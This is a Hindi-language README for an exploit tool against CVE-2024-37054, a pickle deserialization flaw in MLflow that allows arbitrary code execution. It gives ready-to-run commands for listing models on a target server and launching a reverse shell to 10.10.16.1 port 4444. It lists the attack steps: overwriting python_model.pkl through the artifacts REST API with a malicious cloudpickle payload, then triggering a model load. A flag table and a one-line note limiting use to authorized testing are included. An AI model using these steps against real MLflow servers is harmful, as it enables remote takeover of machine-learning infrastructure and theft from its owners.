
CVE-2024-37054 एक्सप्लॉइट और दस्तावेज़ीकरण
गंभीरता: क्रिटिकल
प्रभावित: MLflow 0.9.0 – 2.14.1
प्रकार: Python pickle डिसीरियलाइज़ेशन के माध्यम से मनमाना कोड निष्पादन
mlflow.pyfunc.load_model() आर्टिफैक्ट स्टोर से python_model.pkl को बिना किसी सैनिटाइज़ेशन के डिसीरियलाइज़ करता है। कोई हमलावर जो MLflow artifacts REST API तक पहुँच सकता है, उस फ़ाइल को एक दुर्भावनापूर्ण pickle से ओवरराइट कर सकता है, जिससे मॉडल के अगली बार लोड होने पर मनमाने OS कमांड निष्पादित होते हैं।
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
run_id / experiment_id खोजने के लिए /api/2.0/mlflow/registered-models/search को क्वेरी करें/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl पर एक दुर्भावनापूर्ण cloudpickle पेलोड PUT करेंmlflow.pyfunc.load_model() को कॉल करने वाला कोई भी कोड पाथ पेलोड को अनपिकल करता है और कमांड निष्पादित करता हैट्रिगर चरण के लिए एक ऐप्लिकेशन एंडपॉइंट आवश्यक है जो मॉडल को लोड करता है। यदि कोई ज्ञात नहीं है, तो --no-trigger का उपयोग करें (या --trigger-url को छोड़ दें) और किसी भी उपलब्ध माध्यम से लोडिंग को ट्रिगर करें।
केवल अधिकृत पेनिट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए।
| फ़्लैग | विवरण |
|---|
--mlflow URL | MLflow ट्रैकिंग सर्वर का बेस URL (आवश्यक) |
--model NAME | पंजीकृत मॉडल का नाम — छोड़े जाने पर पहला मॉडल स्वतः चुना जाता है |
--version N | मॉडल संस्करण — डिफ़ॉल्ट रूप से नवीनतम |
--user / --pass | MLflow के लिए HTTP Basic Auth क्रेडेंशियल्स |
--run-id / --exp-id | ज्ञात IDs के साथ मॉडल डिस्कवरी को बायपास करें |
--trigger-url URL | वह ऐप एंडपॉइंट जो load_model() को कॉल करता है — केवल अपलोड करने के लिए इसे छोड़ दें |
--session COOKIE | ट्रिगर अनुरोध के साथ भेजी जाने वाली सत्र कुकी |